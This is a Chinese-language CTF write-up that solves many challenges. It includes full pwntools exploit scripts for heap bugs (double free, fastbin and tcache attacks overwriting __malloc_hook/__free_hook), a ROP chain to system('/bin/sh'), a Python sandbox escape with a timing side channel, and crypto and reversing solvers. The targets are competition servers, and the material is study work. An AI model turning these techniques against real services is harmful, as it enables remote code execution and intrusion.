catch fun
flag{Reno}
LookAround
这道题目是目测是xxe盲打,是没有回显的,但是会有报错,这里联想到Google ctf的[GoogleCTF 2019] — Web: BNV — Writeup,通过报错带出数据
直接拿exp打过去
2019
利用zsteg发现图片中隐写的内容,易判断为base64编码,解码后得到新的字符串
再利用base85解码得到flag
babycry
根据所给提示可以了解到明文会自动补全到8的倍数的位数,不足的用“_”补全,而根据输入可以判断出des的加密模式为安全性最弱的ebc模式,一个分组内的改变不影响其他分组,由此可以利用最后一个自动补全的分组进行爆破。
脚本如下:
from pwn import *
import string
def sendtext(p,content):
# p.recvuntil(">")
p.sendline("des "+content)
res = p.recv()
# print res
return res
dic = string.lowercase+string.uppercase+string.digits+"_{}"
p=remote("139.9.222.76",19999)
p.recvuntil(">")
known = ""
while (len(known)<46):
for k in dic:
payload = "1"*(3+len(known))
# print payload
que = sendtext(p,payload).replace("\n>","")
# print que
res = sendtext(p,k+known+"_"*(7-len(known)))
# print res[:16]
# print que[-17:]
i= 0-1-(((len(known)/8)+1)*16)
if res[:16] in que[-97:]:
known = k + known
print known
break
print known
爆破得到flag
flag{c0ngratul4tions_1_y0uve_chec7ed_1n_ogeek}
Easy Realworld Challenge
在右侧的log viewer功能看到了别人曾经登录的记录
用telnet执行FTP交互,端口号21,用户名密码为ctf可以成功登入
开启ftp被动传输模式,从远程获取文件
通过被动(PASV)方式建立与服务器的数据连接,输入pasv回车,此时服务器返回了服务器的IP和服务器开启的端口号,比如下图传回的服务器IP是172.16.3.123,端口号是244*256+172=60511
打开另一个窗口,使用上面计算出的端口号登录,拿到flag
hub
多次free拿libc地址,然后去改stdout的flag和_IO_write_base,这里需要爆破1字节,然后改__free_hook成system拿shell
from pwn import *
def malloc(size):
p.sendlineafter('>>','1')
p.sendlineafter('?',str(size))
def free(off):
p.sendlineafter('>>','2')
p.sendlineafter('?',str(off))
def write(data):
p.sendlineafter('>>','3')
p.sendafter('?',data)
context.log_level="debug"
#p = process('hub')
p = remote('47.112.139.218',13132)
#gdb.attach(p)
malloc(0xa0)
malloc(0x80)
malloc(0x80)
for i in range(7):
free(0)
free(-0x90)
malloc(0x80)
write('\x10')
malloc(0x20)
write('\x60\xe7')
malloc(0x80)
malloc(0x80)
malloc(0x80)
write(p64(0xfbad1800))
malloc(0x20)
write('\x80\xe7')
free(0x60)
free(0x60)
malloc(0x80)
write('\x40')
malloc(0x80)
malloc(0x80)
malloc(0x80)
write('\x00')
p.recvuntil('\xb0')
libc = '\xb0' + p.recv(7)
libc = u64(libc) - 0x3ed8b0
print 'libc_addr:' + hex(libc)
malloc(0x10)
free(0x30)
free(0x30)
malloc(0x80)
write(p64(libc+0x3ed8e8))
malloc(0x80)
malloc(0x80)
write(p64(libc+0x4f322))
free(0)
p.interactive()
pybox
cut和sleep,基于时间的盲注拿flag
from pwn import *
import time
import string
# context.log_level='debug'
dicts = string.printable
poc = """__import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')("a=`cut -b %d flag` ; if [ $a == '%c' ]; then sleep 3; fi")"""
flag=''
for i in range(6,40):
p = remote('47.112.138.86',11111)
p.recvuntil('>>>')
print 'try:'+str(i)
for c in dicts:
ti = time.time()
t = poc % (i,c)
p.sendline(t)
p.recvuntil('>>>')
if time.time() > ti+3:
flag = flag+c
print flag
break
p.close()
8V
V8的汇编代码。
简单的异或加密,每次异或密钥的值都会改变
res = "\xd2\"\xf1\x8d\xb7\xe0\xd0MF\x87T?\x1fI\x1c\xe7\xcb\x07\xc3\x95z\xb3z\x0b\xbb\xdb\xa1I\xc5;"
res = map(ord,list(res))
a3 = 88
for i in range(30):
res[i] ^= a3
a3 *= 65
a3 += 66
a3 %=256
for i in range(30)[::-1]:
res[i]^=a3
a3 *=35
a3 -=16
a3 %=256
print("".join(map(chr,res)))
babyre
lz77压缩算法,写出解压算法
f = open("output.file","rb")
g = open("input.file","wb")
bits = ""
i = 0
tmp = f.read(1)
tmpbuf = [0]*0x11
buf = [0]*0x1000
s = ""
k = 1
count = 1
debug = 0
while(True):
bit = ord(tmp)
if bit & 1<<(7-i):
tmp1 = f.read(1)
bit1 = ord(tmp1)
bit<<=(i+1)
bit &= 0xff
bit |= (bit1>>(7-i))
#print(hex(bit),i,hex(ord(tmp)),hex(ord(tmp1)))
g.write(chr(bit))
buf[count] = bit
count+=1
count %= 0x1000
k+=1
k%=0x1000
s+=chr(bit)
i = (i+1)%8
if i == 0:
tmp = f.read(1)
else:
tmp = tmp1
else:
tmp1 = f.read(1)
tmp2 = f.read(1)
bit1 = ord(tmp1)
bit2 = ord(tmp2)
m = (bit&((1<<(7-i))-1))<<(5+i)
m&=0xFFF
if i <=3:
m |= (bit1 >>(3-i))
else:
m |= (bit1 << (i-3))
m |= bit2 >> (8-(i-3))
if i<=3:
l = bit1 & ((1<<(3-i))-1)
l <<= (1+i)
l |= (bit2 >> (8-(1+i)))
else:
l = bit2 >> ((8-(i-3))-4)
l &= 0b1111
i = (i+1)%8
if i == 0:
tmp = f.read(1)
else:
tmp = tmp2
# if debug<10:
# print(l,m,hex(bit),i)
# if debug == 6:
# print(buf)
# debug+=1
# else:
# break
l+=2
for j in range(l):
buf[(count+j)%0x1000] = buf[(m+j)%0x1000]
#print(buf[(m+j)%0x1000])
g.write(chr(buf[(m+j)%0x1000]))
count+=l
count%=0x1000
k = 1
解压后打开bmp得到flag
King of KOF
一个KOF的安装包。一开始不知道安装包是nisi,硬调的。
注意到40B5A8
和40BDA8
是用来存放临时字符串的。
sub_401434
是nisi的解释器。
安装后需要输入注册码。查找字符串查不到提示语。
用CE查找UTF16字符串,很快能找到提示语。在附近观察字符串,注意到一些比较有用的信息:这是注册码
,注册码校验失败后的提示信息,fnCheck
,fnKoF97
,Base64Encode
,一些提示输入flag的提示语,还有一串base64字符串:
cYZ1KIjhiR7Ol4RN9c0Xh7XryYfUD7A0m96h0/MQMI45mVhgTAnAtENpnzVKhfDZpVzfuiCBx5+BctkWo0GfU5qIYQV1bnFbNsQ3RVtc2Kg2xDdFW1zYqDbEN0VbXNioNsQ3RVtc2Kg2xDdFW1zYqDbEN0VbXNioNsQ3RVtc2Kg2xDdFW1zYqDbEN0VbXNioNsQ3RVtc2Kg2xDdFW1zYqDbEN0VbXNioNsQ3RVtc2Kg2xDdFW1zYqDbEN0VbXNioNsQ3RVtc2Kg2xDdFW1zYqDbEN0VbXNioNsQ3RVtc2Kg2xDdFW1zYqDbEN0VbXNioNsQ3RVtc2Kg2xDdFW1w=
b64decode再hexencoe得到:
7186752888e1891ece97844df5cd1787b5ebc987d40fb0349bdea1d3f310308e399958604c09c0b443699f354a85f0d9a55cdfba2081c79f8172d916a3419f539a886105756e715b36c437455b5cd8a836c437455b5cd8a836c437455b5cd8a836c437455b5cd8a836c437455b5cd8a836c437455b5cd8a836c437455b5cd8a836c437455b5cd8a836c437455b5cd8a836c437455b5cd8a836c437455b5cd8a836c437455b5cd8a836c437455b5cd8a836c437455b5cd8a836c437455b5cd8a836c437455b5cd8a836c437455b5cd8a836c437455b5cd8a836c437455b5cd8a836c437455b5cd8a836c437455b5cd8a836c437455b5cd8a836c437455b5c
可以看到,后面有一长串8个字符重复,估计都是同样的字符加密,padding长度是8,估计都是由'\x00'*8加密得到的密文。分组长度为8的加密一开始想到的就是des,但是没有密钥。
跟踪调试几步后,发现在40B5A8
和40BDA8
对比了输入和常量,常量是用UTF-16存储的,之前的字符串这是注册码
就是注册码
之后校验flag的部分比较复杂,观察这两个地方的数据,注意到在user\AppData\Local\Temp\nsiF181.tmp
目录创建了一些临时dll。同时从0-255遍历每个字符,可能是获取字符的ascii的utf-16值?遍历完所有后跟踪不久可以发现多了一个奇怪的KOF91.dll
复制出来ida打开,发现加了壳,不过是比较简单的壳。
重新开始调试,这次在输入flag之后,x86dbg选项中打开加载dll后中断,可以看到KOF97.dll被加载了,入口点在8000,81C4壳的代码执行完成。这时候就可以用插件把dlldump下来了。
dump后发现fnCheck与fnKoF97两个函数。这两个就是校验与加密函数,加密算法是TEA,密钥在算法内。用它来解密之前的密文,得到
dj_eyucjamkc]rm]rfc]emmb+mjb+b_wq{
发现前四个字符和flag字符偏移固定为2,是个凯撒密码,加密可能在之前的nisi里面。修正一下得到flag
#include "stdio.h"
#include "stdlib.h"
#include "stdint.h"
void decrypt (uint32_t v[2], uint32_t k[4]) {
uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i; /* set up; sum is 32*delta */
uint32_t delta=0x9E3779B9; /* a key schedule constant */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i<32; i++) { /* basic cycle start */
v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
sum -= delta;
} /* end cycle */
v[0]=v0; v[1]=v1;
}
int main()
{
uint32_t key[4] = {0x20776F77,0x20756F79,0x646E6966,0x21656D20};
uint8_t cipher[] = {113, 134, 117, 40, 136, 225, 137, 30, 206, 151, 132, 77, 245, 205, 23, 135, 181, 235, 201, 135, 212, 15, 176, 52, 155, 222, 161, 211, 243, 16, 48, 142, 57, 153, 88, 96, 76, 9, 192, 180, 67, 105, 159, 53, 74, 133, 240, 217, 165, 92, 223, 186, 32, 129, 199, 159, 129, 114, 217, 22, 163, 65, 159, 83, 154, 136, 97, 5, 117, 110, 113, 91, 54, 196, 55, 69, 91, 92, 216, 168, 54, 196, 55, 69, 91, 92, 216, 168, 54, 196, 55, 69, 91, 92, 216, 168, 54, 196, 55, 69, 91, 92, 216, 168, 54, 196, 55, 69, 91, 92, 216, 168, 54, 196, 55, 69, 91, 92, 216, 168, 54, 196, 55, 69, 91, 92, 216, 168, 54, 196, 55, 69, 91, 92, 216, 168, 54, 196, 55, 69, 91, 92, 216, 168, 54, 196, 55, 69, 91, 92, 216, 168, 54, 196, 55, 69, 91, 92, 216, 168, 54, 196, 55, 69, 91, 92, 216, 168, 54, 196, 55, 69, 91, 92, 216, 168, 54, 196, 55, 69, 91, 92, 216, 168, 54, 196, 55, 69, 91, 92, 216, 168, 54, 196, 55, 69, 91, 92, 216, 168, 54, 196, 55, 69, 91, 92, 216, 168, 54, 196, 55, 69, 91, 92, 216, 168, 54, 196, 55, 69, 91, 92, 216, 168, 54, 196, 55, 69, 91, 92, 216, 168, 54, 196, 55, 69, 91, 92, 216, 168,0};
int i;
uint32_t *p = (uint32_t*)cipher;
for(i = 0;i<30;i++)
{
decrypt(p,key);
p+=2;
}
for(i = 0;i<240;i++)
{
if(cipher[i]!=0)
printf("%c",cipher[i]+2);
}
printf("\n");
}
mblockchain
jadx打开后看java代码。
需要输入key和flag。key算一次md5后,取其中的三个字符再md5,md5值作为aes的key加密flag,之后重复md5之前的哈希作为key继续加密9次,一共十次。爆破这三个字符即可。
from Crypto.Cipher import AES
from hashlib import md5
foundpad = "\x10"*16
cipher = "74f0b165db8a628716b53a9d4f6405980db2f833afa1ed5eeb4304c5220bdc0b541f857a7348074b2a7775d691e71b490402621e8a53bad4cf7ad4fcc15f20a8066e087fc1b2ffb21c27463b5737e34738a6244e1630d8fa1bf4f38b7e71d707425c8225f240f4bd2b03d6c2471e900b75154eb6f9dfbdf5a4eca9de5163f9b3ee82959f166924e8ad5f1d744c51416a1db89638bb4d1411aa1b1307d88c1fb5".decode("hex")
"""
cipherpad = cipher[-16:]
for i in range(240,256):
print(i)
for j in range(256):
for k in range(256):
key = chr(i) + chr(j) + chr(k)
ck = key
for _ in range(10):
ck = md5(ck).digest()
aes = AES.new(ck,mode = AES.MODE_ECB)
cp = aes.decrypt(cipherpad)
if cp == foundpad:
print(cp.encode("hex"))
print(ck.encode("hex"))
print(i,j,k)
exit()
"""
key = chr(241) + chr(183) + chr(36)
subkey = []
ck = key
for i in range(10):
subkey.append(md5(ck).digest())
ck = md5(ck).digest()
for i in range(10):
ck = subkey[9-i]
aes = AES.new(ck)
cipher = aes.decrypt(cipher)
print(cipher)
0day_manage
漏洞存在于handle 输入0的时候会free堆块且不置0.先malloc超过tcache的堆块再打印获取到libc,然后double free getshell。值得注意的是calloc的分配不走tcache所以只能用fastbin attack。
from pwn import*
context.log_level = "debug"
one = [0x4f2c5,0x4f322,0x10a38c]
#p = process("./0day_manage")
p = remote("47.112.137.133",12345)
a = ELF("./libc-2.27.so")
#gdb.attach(p)
def add():
p.recvuntil("4. Handle in all the 0day\n")
p.sendline(str(1))
def add_leak(content,data_size,data,note_size,note):
p.recvuntil("4. Handle in all the 0day\n")
p.sendline(str(1))
p.recvuntil("3. Logic bug\n")
p.sendline(str(1))
p.recvuntil("size :")
p.sendline(str(data_size))
p.recvuntil(":")
p.sendline(data)
p.recvuntil("note size :")
p.sendline(str(note_size))
p.recvuntil(":")
p.sendline(note)
p.recvuntil("Please input your leak offset :")
p.sendline(content)
def add_corruption(shellcode_size,shellcode,data_size,data,note_size,note):
p.recvuntil("4. Handle in all the 0day\n")
p.sendline(str(1))
p.recvuntil("3. Logic bug\n")
p.sendline(str(2))
p.recvuntil("size :")
p.sendline(str(data_size))
p.recvuntil(":")
p.sendline(data)
p.recvuntil("note size :")
p.sendline(str(note_size))
p.recvuntil(":")
p.sendline(note)
p.recvuntil("Please input your shellcode size :")
p.sendline(shellcode_size)
p.recvuntil(":")
p.sendline(shellcode)
def add_login(data_size,data,note_size,note):
p.recvuntil("4. Handle in all the 0day\n")
p.sendline(str(1))
p.recvuntil("3. Logic bug\n")
p.sendline(str(3))
p.recvuntil("size :")
p.sendline(str(data_size))
p.recvuntil(":")
p.sendline(data)
p.recvuntil("note size :")
p.sendline(str(note_size))
p.recvuntil(":")
p.sendline(note)
def delete(idx):
p.recvuntil("4. Handle in all the 0day\n")
p.sendline(str(3))
p.recvuntil("3. Logic")
p.sendline(str(idx))
def show():
p.recvuntil("4. Handle in all the 0day\n")
p.sendline(str(2))
p.recvuntil("3. Logic")
p.sendline("1")
def handle(idx,m):
p.recvuntil("4. Handle in all the 0day\n")
p.sendline(str(4))
p.recvuntil("3. Logic")
p.sendline(str(m))
p.recvuntil("handle in?")
p.sendline(str(idx))
add_leak("Aryb1n",0x409,"Aryb1n",0x20,"Aryb1n")
add_leak("Aryb1n",0x60,"Aryb1n",0x60,"Aryb1n")
handle(0,1)
#raw_input()
show()
p.recvuntil("note :")
heap_addr = u64(p.recvuntil("data :")[:6].ljust(8,"\x00"))
libc_addr = u64(p.recvuntil("note :")[:6].ljust(8,"\x00")) - 0x3ebca0
print hex(libc_addr)
print hex(heap_addr)
onegad = one[2]+libc_addr
malloc_hook = a.symbols["__malloc_hook"] + libc_addr
free_hook = a.symbols["__free_hook"] + libc_addr
#raw_input()
#add_leak(0x60,"aa",0x60,"aaa")
#handle(0,3)
#delete(3)
#raw_input()
add_login(0x60,"Aryb1n",0x60,"Aryb1n")
#add_login(0x60,p64(free_hook),0x60,p64(free_hook))
delete(1)
#add_login(0x60,p64(free_hook),0x60,p64(free_hook))
delete(3)
#raw_input()
add_login(0x60,p64(free_hook),0x60,p64(free_hook))
handle(0,3)
delete(3)
payload = "\x00"*0xb #p8(f)*3
payload += p64(libc_addr + one[2]) #
payload += p64(libc_addr + a.sym["realloc"]+0xe)*2
add_login(0x60,p64(malloc_hook-0x23),0x60,"\x00"*0x13)
#raw_input()
add_login(0x60,p64(malloc_hook-0x23),0x60,payload)
print hex(onegad)
p.interactive()
Babyrop
程序先读4字节urandom随机流,作为参数传给下面这个函数。
这个函数请求用户输入0x20字节,存在溢出,可以覆盖v5变量。然后会把输入跟4字节随机流用strncmp函数进行比较,但长度参数是用strlen函数获得的,因此我们的输入只要以\x00开头,就能使得strncmp函数作废。之后函数返回v5。
from pwn import *
elf=ELF("babyrop")
#p=elf.process()
#p=elf.process(env={'LD_PRELOAD':'.so'})
p=remote('47.112.137.238',13337)
libc=elf.libc
#libc=ELF("")
context.log_level='debug'
sla=p.sendlineafter
sl=p.sendline
sa=p.sendafter
ru=p.recvuntil
shell=p.interactive
#gdb.attach(p,'b* 0x8048824')
puts_plt=0x8048548
puts_got=0x8049fd4
vuln=0x80487d0
payload='\x00'*7+p8(0xff)
sl(payload)
payload='a'*0xe7+'a'*4+p32(puts_plt)+p32(vuln)+p32(puts_got)+p8(0xff)
sa('Correct\n',payload)
puts_addr=u32(p.recv(4))
print hex(puts_addr)
libc_system=0x3a940
libc_binsh=0x15902b
libc_puts=0x5f140
libcbase=puts_addr-libc_puts
system_addr=libcbase+libc_system
binsh_addr=libcbase+libc_binsh
payload='a'*0xe7+'a'*4+p32(system_addr)+'a'*4+p32(binsh_addr)
p.send(payload)
shell()
Flag:
flag{BXCTFKKAZ8!bw&kN}
bookmanager
这题非常简单
在创建Text和Update Text的时候有一个堆溢出
利用这个堆溢出,直接fastbin attack,然后one_gadget拿shell
payload如下
from pwn import *
debug=0
context.log_level='debug'
if debug:
p=process('./bookmanager',env={'LD_PRELOAD':'./libc-2.23.so'})
gdb.attach(p)
else:
p=remote('47.112.115.30', 13337)
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
def sl(x):
p.sendline(x)
def add_chapter(name):
sl('1')
ru('Chapter name:')
sl(name)
ru('Your choice:')
def add_section(cn,name):
sl('2')
ru('Which chapter do you want to add into:')
sl(cn)
heap = int(ru('\n')[2:],16)
ru('Section name:')
sl(name)
ru('Your choice:')
return heap
def add_text(sn,sz,content):
sl('3')
ru('Which section do you want to add into:')
sl(sn)
ru('How many chapters you want to write:')
sl(str(sz))
ru('Text:')
se(content)
ru('Your choice:')
def remove_text(sn):
sl('6')
ru('Section name:')
sl(sn)
ru('Your choice:')
def show():
sl('7')
ru('Name of the book you want to create:')
sl('aaaa')
ru('Your choice:')
add_chapter('c1')
heap = add_section('c1','s1')
add_text('s1',0xff,'a\n')
add_chapter('c2')
heap = add_section('c2','s2')
add_text('s2',0xff,'b\n')
remove_text('s1')
add_text('s1',0x98,'\n')
show()
ru('Text:')
libc = u64(ru('\n')[:-1]+'\0\0')
base = libc-0x3c4c78
ru('Your choice:')
remove_text('s2')
add_text('s2',0x68,'c\n')
remove_text('s2')
malloc_hook = base+0x3c4b10
sl('8')
ru('What to update?(Chapter/Section/Text):')
sl('Text')
ru('Section name:')
sl('s1')
ru('New Text:')
se('a'*0x98+p64(0x71)+p64(malloc_hook-0x23)+'\n')
ru('Your choice:')
add_chapter('c3')
heap = add_section('c3','s3')
add_text('s3',0x68,'a\n')
remove_text('s1')
add_text('s1',0x68,'a\n')
sl('8')
ru('What to update?(Chapter/Section/Text):')
sl('Text')
ru('Section name:')
sl('s1')
ru('New Text:')
se('a'*11+p64(base+0x4526a)+p64(base+0x846D0))
ru('Your choice:')
sl('1')
print(hex(base))
p.interactive()